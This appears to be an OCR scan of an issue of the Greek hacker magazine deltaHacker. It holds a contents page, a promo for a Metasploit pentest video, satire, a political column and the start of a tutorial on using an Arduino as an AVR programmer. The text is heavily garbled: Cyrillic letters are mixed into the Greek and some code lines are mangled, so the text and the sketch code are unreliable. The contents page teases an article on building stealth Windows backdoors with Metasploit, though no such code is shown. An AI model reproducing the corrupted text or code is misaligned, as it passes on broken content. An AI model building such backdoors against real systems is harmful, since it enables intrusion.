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О Σπάρτακος, αγανακτισμένος µε τις 
δυσλειτουργίες και την αναξιοκρατία της 
Ρωμαϊκής αυτοκρατορίας, εφευρίσκει την 

έννοια του "ενεργού δούλου" 


О Θεῖος Ακάκιος χαίρεται, αλλά 
δεν παραμυθιάζεται 


Να то ξέρετε: Ξεπερνώντας τους περιορισμούς 
που θέτει η χρήση του Arduino, θα µπορείτε 
να καταπιαστεῖτε µε *поАй* πιο φιλόδοξες κι 

εντυπωσιακές κατασκευές 


Παράξενοι, μυστηριώδεις αριθμοί και ἔξυπνα 
προγράµµατα --τα οποία καλείστε να φτιάξετε μόνοι σας 


Μετατρέπουµε την αγαπημένη µας πλατφόρμα σε 
πάμφθηνο αλλά ικανότατο media center 


Συνεχίζουμε την περιπλάνησή µας στον ωκεανό της 


ΡΗΡ, μαθαίνοντας για τις συμβολοσειρές, τους πίνα- 
κες, τις δομές ελέγχου και τις συναρτήσεις 


Πώς θα σας φαινόταν η σύνδεση σε 


ένα τεράστιο, ασύρματο ΙΑΝ; 


Αγαπάµε то Metasploit και δεν то κρύβουμε. Αυτή τη 


φορά, επιστρατεύοντας κι άλλα εργαλεία, φτιάχνουμε 
stealth backdoors για συστήµατα Windows 


Εκδότης / Διευθυντής 
Αρχισυντάκτης 
Σύμβουλοι ἐκδοσης 


Σύνταξη 


Γραμματική επιμέλεια 


Καλλιτεχνική Επιμέλεια 


Χρήστος Варелас 

Παναγιώτης Βαρελάς 

Νίκος Μουρατίδης, Βούλα Παυλίδου 

Παναγιώτης Βαρελάς, Χρήστος Варелас, Ανδρέας 
Βενιέρης, Γιώργος Γιάννου, Μανώλης Κιαγιάς, Ιωάννης 
Κονιάρης, Πέτρος Κυλαδίτης, Γιώργος Μελέκος, Νίκος 
Μουρατίδης, Νικόλαος Σηφάκης, Μέσος Παπαδόπουλος 
(ТМ), Χρίστος Тӧрпрас̧ 

Βούλα Παυλίδου 


Πέτρος Φιλιππίδης 


То ηλεκτρονικὀ περιοδικὀ deltaHacker εἶναι συνδροµητικὀ και εκδίδεται απὀ την Para- 
bing Creations δώδεκα φορὲς το χρόνο, каде μήνα. Н Parabing Creations έχει την ἐδρα 
της στη Μαιώτιδος 3, 55133, Καλαμαριά. О δικτυακὸς τόπος του περιοδικού εἶναι στο 


· То email επικοινωνίας εἶναι το talk2us@deltahacker.gr και ειδικἁ 
για τις συνδρομές εἶναι το subscriptions@deltahacker.gr. Οι γενικὲς πληροφορίες για τις 


συνδρομὲς παρατίθενται στο 


γίνονται απὀ το 


και οι ἴδιες οι παραγγελἰες 
- Όλες οι απόψεις που εκφράζονται στα 


άρθρα δεν εκφράζουν απαραἰτητα και τη γνώµη του περιοδικού. 


(%) Δείτε το deltaCast 501611 | MetaSentials 
http://deltahacker .gr/deltacast-s01e11 
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Posted by 


Παίζουμε για "δύο" περίπου ώρες µε το Metasploit 
Framework ή απλά Metasploit. То Metasploit αποτελεί µια 
πανίσχυρη πλατφόρμα Ανοικτού Λογισμικού που 
διευκολύνει σηµαντικά τις διαδικασίες του penetration 
testing αλλά και του post exploitation. 


Αν δεν γνωρίζετε τι είναι το penetration testing Á αυτό το περιβόητο Metasploit, µπορείτε 
να διαβάσετε τα δύο σχετικά άρθρα που δημοσιεύουμε στο του deltaHacker. Τα 
αντίστοιχα URLs υπάρχουν και στις σημειώσεις του επεισοδίου, εδώ, λίγο πιο κάτω. 


Όσοι έχετε ακούσει για το penetration testing κι ενδιαφέρεστε να μάθετε περισσότερα, сас 
προτείνουμε να παρακολουθήσετε το επεισόδιο και У αρχίσετε αμέσως την πρακτική 
εξάσκηση στο πλαίσιο ενός ελεγχόµενου, ενδεχομένως εικονικού δικτύου. 


H δική µας παρουσίαση γίνεται επίσης σε εικονικό περιβάλλον, µε τη βοήθεια του 
VirtualBox. Είναι καλύτερα У ακολουθήσετε κι εσείς το παράδειγμά µας. Κατ' ελάχιστον, 
θα χρειαστείτε ένα УМ µε то Кай Linux, καθώς κι ένα ἡ περισσότερα VMs µε ευπαθή 
λειτουργικά: συστήµατα. Αν δεν έχετε ήδη δημιουργήσει το δικό σας εικονικό περιβάλλον, 
ίσως θελήσετε να παρακολουθήσετε πρώτα το Ў 
Επίσης, διαβάστε και το άρθρο που έχουµε ото site του περιοδικού, το οποίο αφορά στη 


Σπόνσορες του дейаСаз: οἱ συνδρομητές 


дећаНаскег. Το περιοδικό εἰ ειστικά ηλεκτρονικό καὶ 
νέες, ακόμη χαμηλότερες τιμές. Αν 
συνεχίζουμε pe ma 


Θέλετε ειδοποιήσεις στο email σας κάθε φορά 


Το επεισόδιο µπορείτε να το παρακολουθήσετε απευθείας εδώ ή 
т και να το δείτε αργότερα. 
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Όνομα χρήστη 
Συνθηματικό 


Να µε θυμάσαι. 


Σύνθεση -- 


Εγγραφή. 
Ξέκασα το συνθηματικό. 
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τ /4εκαλαενεν gr/2013/06/15/kali-wifi-pentest- 


Όνομα χρήστη 


Συνθηματικό. 
ΕΝ 


Εγγραφή 


боо το συνθηµατικς, 


Мә Атың ШІ 


пема στ 
στο деңанасіе; 
Μαθήματα (о еске 925 editoriak 


Ἔρυφο, 


που εἶναι τ. τ и 
εἶναι πιθανό va έχει чаро, 


оем, 
мав 
Ре 


Πλήρη άρθρα που συμπληρώνουν το περιοδικό [addenda]. То video 
podcast [netcasting > deltaCast]. Άρθρα που µας ήρθε να γρά- 


ψουμε, έτσι, 


απλά [/дем/гапдот]. 
Τα βίντεο από τα προηγούμενα live streams 


Τα προκλητικά mind hacks. 


[netcasting > 


deltaStream]. Ολόκληρα blasts from the past [bftp]. Τα πάντα 
ενδιαφέροντα forums. Το σημείο συνάντησης για τους φίλους του 


περιοδικού. 


deltahacker.gr 


Αληθινό, διασκεδαστικό hacking για όλου 
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Μαθήματα (εναλλακτικής) Ιστορίας 


Ρωμαϊκή αυτοκρατορία, 73 π.Χ. 


Ἑνας δούλος апо τη Θράκη, ο Σπάρτακος, αγανακτισμένος µε τις δυσλειτουργίες και την 
αναξιοκρατἰα της Ρωμαϊκής αυτοκρατορίας, εφευρἰσκει την έννοια του "ενεργού δούλου": 
О ενεργὸς δούλος σέβεται τη διαφορετικότητα (μεταξύ αφεντικών και δούλων), ενώ PPO- 
ντίζει ο ἴδιος για τη βελτίωση της ζωής του χωρίς να προβάλλει παράλογες απαιτήσεις για 
δικαιώματα κι ελευθερίες. О ενεργὸς δούλος σκέφτεται και προβληματίζεται, δεν χάνει 
ευκαιρία να εκφράζει την ἁποψή του (ειδικἁ όταν τον καλούν σε συμπόσια για να γελάσουν 
μαζί του) ра, πάνω ап” όλα, ακούει και σέβεται την αντίθετη апошп. То κἰνηµα του >парта- 
κου συγκινεί. Н Σύγκλητος θεσμοθετεἰ плафом στο πλήθος των ηµερησίων μαστιγωμάτων, 
φροντίζει για τον ισοµερἠ катарєрісро των καταναγκαστικὠν ἐργων στους δούλους και 
μεριμνά για την ετήσια διανομὴ ενὸς λευκού τριαντάφυλλου στον καθένα — διότι και οι 
συμβολικές κινήσεις ἐχουν την αξία τους. 


Pollice Verso - Jean-Léon Gérôme 
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OVEL ұсы 


Αυτές τις μέρες το να πυμλοφορεί κανείς στους δρόμους είναι επικίνδυνο. 


Αγαπητοί μου, р } 


Από πυλωτή σε πυλωτή, καν ξυστά στον. τοῖχο κάτω олбо τα μπαλκόνια. 
Αλλιώς δεν πας πουθενά. Να περάσεις, δε, ἀπέναντν, οὖτε λόγος. Παρακινδυ- 
νευµένο. 

Γύνεταν χαμός. 

Πέφτουν όλοι από τα σύννεφα. 

Ακόμα χι εγώ, αγαπητοί µου. 

Όταν ετοίµαζα την τελευταία µου επιστολή σκεφτόμουν ότι στην επόμενη 
θα σας μιλούσα үю. τον Σεπτέμβριο, τα πρωτοβρόχνα, την διφασμένη Γης µε 
τα κουρασμένα της σπαρτά, то σχολειά που ξανανοίγουν, την νέα αρχή, καν 
λοιπά παν λοιπά καν λοιπά -- όλα αυτά, after all, που καθιστούν την Γαλα- 
vý µας Πατρίδα (ТМ) τόσο Γαλανή αλλά καν τόσο Πατρίδα (µας). 

Αίφνης, το µόνο, πλέον, γνα το οποίο μπορώ να σας γράφω µε σιγου- 
ριά. είναν πως έχουµε πράγματι Σεπτέμβριο καν πως είμαστε καθισμένοι στην 
τραπεζαρία, εγώ µε την γραφομηχανή XAL η εξαδέλφη µε το λάπτοπ της, καν 
περιμένουμε το φαγητό. 

Σήμερα, ανήμερα του Οσίου Κυριάκου του Αναχωρητή, όλα τα υπόλοιπα εἰ- 
ναι υπό αἱρεσιν. Εντός από την μητέρα της εξαδέλφης, που ετονµάζει Ινδική 
Μακαρονάδα µε πίκλες καν τόνο (ТМ). 


Πρόκειται για ένα πιάτο δικής της επινόησης που περιλαμβάνεν συνδυ- 
ασμούς διαφόρων υλικών, ανάλογα µε το τι έχεν στο φυγείο. Συνήθως έχεν 
μακαρόνια (καλύτερα: λινγκονίνν), λάδι, τόνο από κονσέρβα, ποικίλες ινδικές 
πίκλες (πράσινο той, σκόρδο, μάνγχο, μελιτζάνα, ἡ ό,τι άλλο), φρέσκο τσί- 
ἂν, μαύρο πιπέρν χοντροκομμένο, σπόρους μουστάρδας, κάπαρη жол λίγο ξύδι. 

Е мо καυτερή σαν τη φωτιά, YL αυτό και πρέπει να έχεις оло δίπλα για- 
обрт, ἡ фор γνατί αλλιώς υποφέρεις. Συνοδεύεταν µε δροσερή πράσινη σαλά- 
τα, καν δυνατή, παγωμένη μπύρα. 

Н βασική δυσκολία είναν να βρεν κανείς το φρέσκο τσίλν καν τις ινδικές 
πίκλες. H μητέρα της εξαδέλφης, που είναν Ἱνδουίστρια, τα βρίσκει αυτά στην 
Σοφοκλέους χαμηλά, εκεί που έχουν ανοίξει όλα τα ννδοπακιστανικά µαγα- 
бий. Φοράεν то дар, της καν πηγαίνεν ша. φορά στις δυό-τρεις βδομάδες. Την 
έχουν µάθεν καν την υποδέχονται µε χαμόγελα γάτου του Τσέσαϊρ. 

Σήμερα ήθελε να προσθέσει мол λίγο алб то τσίλν φάντασμα που έφερε оло 
το Λονδίνο (το «µπουτ τζολόκια» που σας έλεγα την άλλη φορά), αλλά ευτυ- 
хас την τελευταία στιγµή το μυριστήκαμε καν την αποτρέφαμε. 

Τέλος πάντων. Λοιπόν, έχουν έρθει τα πάνω κάτω. Ακόμα καν το ότι έχου- 
µε Σεπτέμβριο. Επί του παρόντος ισχύει, αλλά όχν γνα πολύ. Τελενώνεν, βλέ- 
πετε. 


Αλλά δεν είναν το µόνο. 
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Αγαπητοί µου, δεν σκοπεύω να το παίξω Φύχραιμος жол αποστασιοποιη- 
μένος. Καλό πράγµα η αποστασιοποίηση, όπως µας έχεν διδάξει ο Μπρέχτ, 
αλλά υπάρχουν περιστάσεις που η συναισθηματική συμμετοχή του θεατή στα 
δρώμενα ὀχν μόνο αναμένεται αλλά προβλέπεται καν συνιστάται. Έστω καν για 
λίγο. 

Хол λοιπόν, βλέποντας σήμερα то πρωί τον Χρυσαβγό Ηγέτη να οδηγείται 
σιδηροδέσµιος στον ανακριτή δεν μπορούσα παρά να νονώσω ανακούφιση -- 
καν φυσικά χαρά. 

Λέτε να τελενώνει καν η ιστορία µε τα Χρυσά. ΛΡΥά; 


Έπρεπε να χάσει τη ζωή του ένα νέο παιδί για να γίνει αυτό; Το αυτονό- 
ητο; Να ξυπνήσουν, δηλαδή, ον καθ' ύλην αρµόδιον καν να κάνουν τη δουλειά 
τους; 


Χαΐρομαι, που λέτε, αγαπητοί µου, αλλά δεν παραμυθιάζοµαν. Το γνωρίζω 
καλά то βασίλειο της Δανιμαρνίας. 


Ούτε παραμνθιάζομαν, оте ξεχνάω. 


Δεν ξεχνάω, ας πούμε, πως OL τριαντα-τόσοι φάκελοι που αξνώθηκε να 
στείλεν στον Άρειο Πάγο την περασμένη βδομάδα о Υπουργός --η απλή όσο 
καν αυτονόητη αυτή ενέργεια-- δεν γράφτηκαν εκείνη την ηµέρα. Нтау φά- 
хело, που αράχνιαζαν σε συρτάρια καν φορναμούς επί µήνες καν χρόνια. 
Φάκελον үю. δολοφονίες, επιθέσεις, προκλήσεις, τραυματισμούς, εκβιασμούς, 
µαστρωπία, πούλημα προστασίας. 


Ον μάρτυρες που άρχισαν να προσέρχονται о ένας µετά τον άλλο στο үро- 
φείο του αντεισαγγελέα δεν έλεγαν καινούργια πράγματα. Έλεγαν πράγµατα 
που όλον τα ήξεραν αλλά που όλον έκαναν σα να τα άκουγαν πρώτη φορά. 


Πέφτουν τώρα όλοι ало τα σύννεφα. Κοντάζουν έκπληµτον σαν τις στρου- 
θοκαµήλους. Απορούν. Ναζιστικό μόρφωμα σου λένε σήµερα όλον, έστω κι αν 
μέχρι πριν λίγες μέρες, ακόµα жол µετά την δολοφονία στο Κερατσίνι, µερι- 
KOL είχαν ευχάριστα ὀνειρα φαντασινωνόμενον συνευρέσεις καν συνεργασίες. 


То ξέρω, που λέτε, καλά то βασίλενο της Δανιμαρκίας. Έχεν γίνει éva πρώ- 
το βήμα, αλλά έχουµε ακόµα δρόμο μπροστά µας. 


Πρώτα πρώτα, θα πρέπειν, μόλις καταλναγνάσεν ο κουρνιαχτός, να µας 
απαντήσει κάπονος τι 
περιυµένανε τόσο хак 
ро. Περυμένανε νεκρό} 
Ον νεκροί μετανάστες 
δεν τους έκαναν: 

Όχν ένας, ὀχν δύο. 

Τέσσερις. 

Ex των οποίων ο 
ένας έχασε τη ζωή του 
ενώ βρισκόταν στα 
χέρια της Αστυνομίας, 
όπου είχε πάεν αυτο- 
βούλως γνα να atay- 
γείλεν ÓTL τον είχανε 
χτυπήσει. 


То αντιλαµβάνεστε 
αυτό, αγαπητοί µου; О 
άνθρωπος έφαγε ξύλο, 
πήγε στην αστυνομία 
να το καταγγείλει, τον 
συλλάβανε (1) καν δύο 
μέρες µετά ήταν νεκρός. 


σνένλ. ұсы 
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Καν δεν κουνήθηκε φύλλο. Ον μετανάστες βλέπετε δεν µετράνε. Αν μάλιστα 
ήταν καν παράνομου, πηγαίνανε γυρεύοντας. Τα θέλανε και τα πάθανε. 


Δανιμαρχία. Όμορφη. Ωραία. Γαλανή. 

Μετά εἶναι η αστυνομία. 

Τις φάχνεν, λέεν, τις υποθέσεις η Διεύθυνση Εσωτερικών Υποθέσεων. Έγιναν 
συλλήφεις. Πέσανε κεφάλια. Καν καλά. που µου το είπατε και ησύχασα. 

Ту σας έγραφα την περασμένη φορά; Για συστημυκό ρατσισμό δεν σας 
έγραφα} Για την Διεύθυνση Εσωτερικών Υποθέσεων δεν σας έγραφα; Ούτε µά- 
ντης να ἡμουνα. 

Αφού απὀ το πρωί η εξαδέλφη µε κοιτάει στραβά. 

«Τώρα εσύ πώς το εξηγείς αυτό», µου λέεν σε κάπονα στιγµή. «Ку αυτό 
σύμπτωση» Με το που έγραφες yra συστημµικό ρατσισμό, βαλθήκανε να тоу ξη- 
λώσουν.» 

«Хол καλά ұлу τον ξηλώσουν. Αν πράγματι είναι συστημυκός, δεν µπορεί να 
αντυµετωπνστεί ενδο-συστημικώς. Χρειάζεταν να ξεκινήσει κανείς εντός του 
συστήµατος.» 

«Καν πώς γίνεταν αυτό}» 

«θεσμοθετώντας ένα δεύτερο σύστημα ελέγχου, διακριτό оло το πρώτο.» 


«Δεν τον είπαν συστημµικὀ πάντως τον ρατσισμό», ακούστηκε από την κου- 
ζίνα η μητέρα της εξαδέλφης. «Κάπως αλλιώς τον λέγανε.» 


«Ναι», είπα εγώ. «'Θεσμικό'. Αλλά. το 'συστημυκός' µου φαίνεται καλύτερο. 
Πιο ακριβές και ταυτόχρονα πιο γενικό.» 

«Κοίτα», συνέχισα, γυρίζοντας στην εξαδέλφη. «Ον άνθρωποι τείνουν γε- 
νικά να προτιμούν τις εύκολες λύσεις жол το πασάλειµµα. Αυτό νομίζω πως 
νσχύεν παντού. Αν δεν υπήρχε κάτι να µας τσεκάρει κάθε λίγο --δεν ξέρω τν 
είναν αυτό το κάτι, πες το όπως θες: γείτονες, γονείς, δάσκαλον, εκκλησία, 
αστυνοµία-- θα ποιµόμαστε όλον, όλη μέρα. То να φτιάξεις ένα σύστημα, 
όπως, π.χ., Т) Αστυνομία, καν να περιμένεις να λειτουργεί σωστά και ЕТ! о0- 
PLOTOV алб μόνο του, είναι µαταιοπονία. Απλά πράγµατα. Ένας πραγματικά 
αποτελεσματικός μηχανισμός ελέγχου της Αστυνομίας και αποτροπής της 
αστυνομικής αυθαιρεσίας δεν γίνεται να είναι, ο ίδιος, κομμάτι της αστυ- 
νομίας. Κατά τον lro τρόπο που το Εθνικό Συμβούλιο Ῥαδινοτηλεόρασης δεν 
γίνεται να εἶναι, το бо, ραδνοτηλεοπτικός σταθμός. Ένα κι ένα κάνει δύο.» 


«Λοιπόν. Αφήστε τα πολιτικά τώρα, καν καθίστε στο τραπέζι», ακούστηκε 
ξανά η θεία. «Θα πρυώσεν το φαγητό.» 


«Καθισμένοι είµαστε», διαμαρτυρηθήκαµε ανυπόμονα: Н Ἱνδική Μακαρονά- 
δα µε πίκλες καν τόνο (ТМ) ἧταν έτοιμη. 


Ανοίξαμε την μπύρα, φέραμε алб δίπλα τη σαλάτα, то фор καν то γινα- 
ούρτν καν αρχίσαμε να τρώμε. 

Για λίγο επικράτησε ησυχία. 

«Ку αν τους αφήσουν ελεύθερους5» αναρωτήθηκε κάποια στιγµή η μητέρα 
της εξαδέλφης. 

«Να έχεις εμπιστοσύνη στην Δικανοσύνη καν τους θεσμούς», απάντησα εγώ 
απλώνοντας το χέρν να πιάσω το Υγναούρτι. 


Σας ασπάζοµαν 


θείος Ακάκνος 


Τα επεισόδια του deltaCast, μοιάζουν µε ταινίες. 
Στη διάρκεια -- ХІ στην ποιότητα. 


πώ 


Skill: Intermediate 
Tags: avr-gcc, avra, аугамде, winavr, atmel studio, avrasm, fuse calculator 


Ξεφύγετε апо TO Arduino! 


Για τα ηλεκτρονικἁ σας πρὀτζεκτ, υπάρχουν πολλοί λὀγοι για ма 
στραφείτε στους "bare metal" AVR. Θα σας δώσουμε δύο: Από τη στιγµή 
που ἐχετε ἠδη éva Arduino, δεν θα χρειαστεῖ να αγοράσετε τίποτα. 
Επίσης, τα απαιτούμενα εργαλεία ανάπτυξης διατίθενται τόσο για Linux, 


όσο και για Windows. Να σας δώσουμε κι ἐναν τρίτο λὀγο; Ξεπερνώντας 
τους περιορισμούς που θέτει η χρήση του Arduino, θα μπορεῖτε ма 
καταπιαστείτε µε *поАй* πιο φιλόδοξες κι εντυπωσιακὲς κατασκευὲἑς. 


Ξεφύγετε από το Arduino! 
Αα 


Μην µας παρεξηγεἰτε. Δεν τα βάλαμε µε то Arduino, οὐτε πιστεύουμε ότι έχουμε εξα- 
ντλήσει τη хара και τις γνώσεις που προσφέρει η ενασχόληση µε αυτό. Πιστεύουμε 
όμως ὁτι ово παἰζει κανεὶς µε µια τέτοια πλατφόρμα, αποκτά ὁλο και περισσότερες 
γνώσεις, γίνεται πιο απαιτητικὀς και θέτει συνεχώς υψηλότερους στόχους. Еџејс, για 
παράδειγµα, ἐχουμε ορισμένες ιδέες για τα επόμενα τεύχη, οι опојес απαιτούν µεγα- 
λύτερη ταχύτητα και σαφώς περισσότερους ακροδέκτες. Βλέπετε, το pixel clock σε 
µια υποτυπώδη карта УБА-ка! για τη χαμηλότερη δυνατή ανάλυση-- ανέρχεται στα 
25ΜΗΖ, ενώ то Arduino τρέχει μόλις στα 16МН2. Εξάλλου, η διασύνδεση µε ша εξω- 
τερικἠ μνήμη (για τις ανάγκες µιας frame buffer, λόγου χάρη) апат! παραπάνω port 
pins апо αυτά που προσφέρει то Arduino. Αυτά τα ζητήματα, όμως, καθὼς και πολλά 
алла, ἄκρως ενδιαφἐροντα και бібактіка, θα µας απασχολήσουν στο (κοντινό) μέλ- 
λον. Σε αυτό το άρθρο θα δούμε пос μπορούμε να ξεπεράσουμε τους περιορισμούς 
που θέτει η πλατφόρμα του Arduino. Στο κἁτω-κάτω, ακόµα κι αν δεν σκοπεύετε ма 
υλοποιήσετετις προχωρημένες κατασκευὲς που θα παρουσιάσουμε στα епоџема τεύ- 
χη, εἰμαστε σἰγουροι от! δεν θέλετε να κάνετε опаталес. Αναρωτιἐστε που κολλάει 
αυτό; Σκεφτείτε от! ἑνας фтпмос (κινἐζικος) κλώνος του Arduino κοστίζει пері τα 14 
ευρώ, ενώ ο "гукефалос" του κοστίζει μόλις 5 ευρώ. Δεν θα ἦταν προτιμότερο αν για 
κάθε κατασκευἠ ауорасаџе Ἔμόνοξ τον шкроелеуктп κι όχι ολόκληρο то Arduino; 


Помаг! χὲρι, κὀβει χέρι! 


Н λύση που θα παρουσιάσουμε εἰναι απλἠ και αποτελεσµατικὀτατη: Па να ξεπεράσου- 
µε τους περιορισμούς που θέτει το Arduino, θα το καταργήσουμε. Το μεγάλο проте- 
pnpa της δημοφιλούς πλατφόρμας εντοπίζεται στην ευκολία µε την опоја µεταφέρο- 
ута! та проураџџата µας апо τον υπολογιστή προς τον µικροελεγκτἠή. Προκειμένου 
να καταργἠσουµε то Arduino, λοιπὀν, πρέπει να αντιμετωπίσουμε AUTÒ ακριβώς то 
πρόβλημα. Па να μπορούμε ма παΐζουμε µε τον επεξεργαστή του Arduino στην enl- 
θυµητὴ συχνότητα λειτουργίας και, γενικότερα, να εἶναι σεταρισμένος µε τον τρόπο 
που апат! η εκάστοτε κατασκευή, πρέπει να βρούμε Еуау τρόπο να μεταφέρουμε 
τα προγράμματά µας στη μνήμη flash του τσιπ. Παρεμπιπτόντως, λύνοντας αυτό 
το πρόβλημα, θα μπορούμε μετὰ να παἰζουμε και µε οποιονδήποτε алло συγγενικὀ 
μικροελεγκτή. То Arduino βασίζεται στον atMega328 της οικογένειας AVR, απὀ την 
Atmel. H εν λόγω οικογένεια περιλαμβάνει μεταξύ άλλων τις σειρὲς аТіпу, аЕМеда 
και ХМеда, που παρουσιάζουν μεγάλη ποικιλἰα ως προς το πλήθος των акродектом, 
τα ενσωματωμένα περιφερειακἀ, τη µἐγιστη συχνότητα λειτουργίας, την ελάχιστη 
τάση τροφοδοσίας και φυσικά το κόστος — το οποίο εἶναι πάντα χαμηλότερο апо 
εκεἰνο ενός Arduino. 


Πα τη μεταφορὰ емос προγράμματος στη μνήμη flash του µικροελεγκτή, δηλαδὴ 
για τον "προγραμματισμὀ" του, опос συνηθίζουµε να λέμε, προσφέρονται ειδικὲς 
συσκευὲς που ονομάζονται hardware programmers. Кадеша εξ αυτών λειτουργεί ως 
δίαυλος επικοινωνίας μεταξύ του υπολογιστὴ και του µικροελεγκτή, για τη μεταφορὰ 
του κὠδικα ка! ορισμένων βασικὠν ρυθµἰσεων. Περισσότερα ү! auTÈG TIG ρυθμίσεις θα 
πούμε αργότερα. Па την ора θα δούμε пос μπορούμε να µετατρέψουμε το Arduino 
μας σε ἑναν hardware programmer, για τους μικροελεγκτὲς AVR. Επιπρὀσθετα, θα 
γνωρίσουμε τα εργαλεία µε та οποία μπορούμε να µεταγλωττίζουµε τα προγράμματά 
нас και στη συνέχεια να τα отёЛуоир ото τσιπάκι, μέσω του νέου µας programmer. 
Τελικά, θα αποκτήσουμε την ελευθερία να χρησιμοποιούμε οποιονδήποτε µικροελε- 
уктп AVR και να γράφουμε κὠδικα σε οποιοδήποτε περιβάλλον (λειτουργικὀ σύστημα 
και editor). Με άλλα λόγια, θα ξεπεράσουμε όλους τους περιορισμούς που θέτει η 
πλατφόρμα του Arduino... µε τη βοήθεια емос Arduino ;) 
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#include "pins_arduino.h" 


#define RESET (ED) — р 10 


#define LED_HB 9 
#define LED_ERR 8 
#define LED_PMODE 7 
#define PROG_FLICKER true 


#define НУМЕВ 2 
#define SWMAJ 1 
#define SWMIN 18 


STK Definitions 
#define STK_OK 0x10 
#define STK_FAILED 0x11 


#Aafina сте тмумсам ων 12 
« 


Arduino Uno оп СОМӘ 


Στην περίπτωση που χρησιµοποιείτε то Arduino Leonardo, 
πρέπει να διορθώσετε τον ορισμό που афора στον ακροδέκτη 
RESET του programmer. Στη θέση του 55 θα πρέπει να βάλετε 
τον αριθμό 10. 


Μετατροπἠ 


Όπως υποσχεθήκαµε апо την αρχή, yia να φτιάξουμε τον hardware programmer δεν 
θα χρειαστεί να αγοράσουμε τίποτα. Αρκεί να επιστρατεύσουμµε το Arduino µας και 
να του φορτώσουμε το sketch ονόματι ArduinoISP. Το εν λόγω sketch συγκαταλἑἐγε- 
ται στα παραδείγματα που ενσωματώνει то Arduino IDE. Τα αρχικἁ ISP прогрхомта! 
απὀ τις λέξεις In-System Programmer και, ὁπως καταλαβαίνετε, το συγκεκριμένο 
sketch μετατρέπει το Arduino µας σε programmer. Ουσιαστικά, апо τη στιγμή που 
θα φορτώσουμε το Агашпојбр, ο προγραμματιστἠς µας εἰναι ἐτοιμος. Το гпоџемо 
βήμα εἶναι να φροντίσουμε για την κατάλληλη σύνδεση µε τον μικροελεγκτἠ που 
σκοπεύουμε уа προγραμματἰσουμε. Πριν προχωρήσουμε, ὁμως, πρέπει να υπογραμ- 
μίσουμε δύο λεπτομέρειες. Ау то Arduino µας εἶναι μοντέλο UNO και хафоџ“ pop- 
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Ξεφύγετε από το Arduino! 
Αα 


τώσουμε το Агашпојбр, πρέπει να συνδέσουμε емам ηλεκτρολυτικὀ πυκνωτή των 
10µΕ μεταξύ του RESET και του ΟΝΡ'. Αν то Arduino µας εἶναι μοντέλο LEONARDO 
και Ἀπρινξ φορτώσουμε το ArduinoISP, πρέπει να κάνουμε µια μικρὴ αλλαγή στον 
κὠδικά του sketch. Συγκεκριµένα, πρέπει να βρούμε τη γραµµή µε τον ακὀλουθο 
ορισμό: 


#define RESET SS 
Εδώ, πρέπει να αντικαταστήσουμε то 55 µε τον αριθμὸ 10: 
#дећпе RESET 10 


Мета апо авт την αλλαγή, αποθηκεύουµε то sketch, το φορτώνουμε στο Arduino 
και προχωράμε κανονικἀ. 


Συνδεσμολογἰα 


Н διασύνδεση του Агашпо-ргодгаттег µε том AVR που θα προγραμµατίσουµε εἶναι 
απλούστατη, αλλά χρειάζεται λίγη προσοχή. Κατ' αρχάς, να ξεκαθαρίσουµε бт! πριν 
αρχίσουμε να παἰζουμε µε οποιονδήποτε µικροελεγκτἠ AVR, πρέπει уа κατεβάσουµε 
το αντίστοιχο datasheet апо то site της Atmel. Το datasheet αποτελεἰ το ευαγγέλιο 
για каде τσιπάκι και πολὺ περισσότερο για vav µικροελεγκτή! Τα datasheets των 
AVR περιλαμβάνουν λεπτομέρειες για τον τρόπο λειτουργίας και τη ρύθμιση κάθε 
υποσυστήµατος (ports, timers, interrupts, ADC к.Ап.), αναφέρουν τη διάρθρωση 
της εσωτερικής μνήμης και τους διάφορους καταχωρητές, περιγράφουν την αρχι- 
τεκτονικἡ του τσιπ και πάει λέγοντας. Μην σας τρομάζουν αυτά! Το τι θα χρειαστεί 
να μελετήσει ο καθένας εξαρτάται апо το επἰπεδο γνώσεων που κατέχει και φυσικὰ 
απὀ την εφαρµογή που θέλει να αναπτύξει. Ωστόσο, υπάρχει кат! που μελετάνε 
όλοι: Πρόκειται για τη δεύτερη семда του datasheet, που περιέχει ἑνα διάγραμμα 
µε τους ακροδέκτες του μικροελεγκτἠ και το ρόλο του καθενός. Па να проүрар- 
µατίσουµε vav AVR, λοιπὀν, πρέπει να ανοίξουμε το datasheet και να εξετάσουμε 
τους ακροδέκτες του. Αρχικά, πρέπει να τοποθετήσουμµε το τσιπ σε ἑνα breadboard 
και να φροντίσουμε για τη σωστὴ τροφοδοσία του. Αυτό σηµαίνει ὁτι πρέπει ма 
συνδέσουμε στα 5V τους ακροδέκτες VCC και АУСС και στο GND τους ακροδέ- 
κτες ...GND. Στη συνέχεια, πρέπει να εντοπίσουµε τους ακροδέκτες RESET, MISO, 
MOSI και SCK. Οι συγκεκριμένοι ακροδέκτες ανήκουν στο υποσύστημα SPI (Serial 
Peripheral Interface) των AVR, το οποίο χρησιμοποιείται και για τον προγραμματισμό 
τους. Τελικά, για να συνδέσουµε τον µικροελεγκτή µας µε τον programmer, πρέπει 
να συνδέσουµε τους ακροδέκτες που αναφέραμε προηγουμένως, µε τους акроде- 
ктес 10, 11, 12 και 13 του Arduino. О ακόλουθος πἰνακας δείχνει τις απαραίτητες 
συνδέσεις μεταξύ шкроглеуктћ και Arduino: 


Ακροδέκτης μικροελεγκτήἠ Ακροδέκτης Агашпо 


1. Προσοχή: О «αρνητικός» ακροδέκτης του πυκνωτή πρέπει να συνδεθεἰ στο GND και ο «θετικός» στο RESET. Για τη διάκριση των δύο 
ακροδεκτὠν συμβουλευτείτε τη σήμανση επάνω στη συσκευασία του πυκνωτή. 
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Н συνδεσµολογία του Arduino µε τον µικροελεγκτή που θέλουμε уа 
προγραμµατίσουµε εἶναι αρκετά απλή. Οι ακροδέκτες RESET, MISO, MOSI 
και SCK TOU µικροελεγκτή πρέπει να συνδεθούν µε τους ακροδέκτες 10, 
11, 12 και 13 του Arduino. Παρατηρείστε τον ηλεκτρολυτικὀ πυκνωτή! H 
παρουσία του εἶναι υποχρεωτική, αν το Ағаиіпо εἶναι μοντέλο υΝΟ. 


Σε αυτὀ το στάδιο, αν χρησιμοποιούμε ¿vav καινούργιο µικροελεγκτή, ο οποίος δεν 
έχει Χρησιµοποιηθεἰ ξανά, η συνδεσμολογία ἐχει ολοκληρωθεί. Αν όμως ο µικροε- 
λεγκτής εἶναι χρησιμοποιημένος και, συγκεκριμένα, αν τον έχουμε ρυθμἰσει για λει- 
τουργἰα σε κάποια συγκεκριμένη συχνότητα και µε χρήση Χεξωτερικού3Ξ κρυστάἀλ- 
Лоо, θα πρέπει να συνδέσουµε και τρία ακόµα εξαρτήματα. Н ρύθμιση στην οποία 
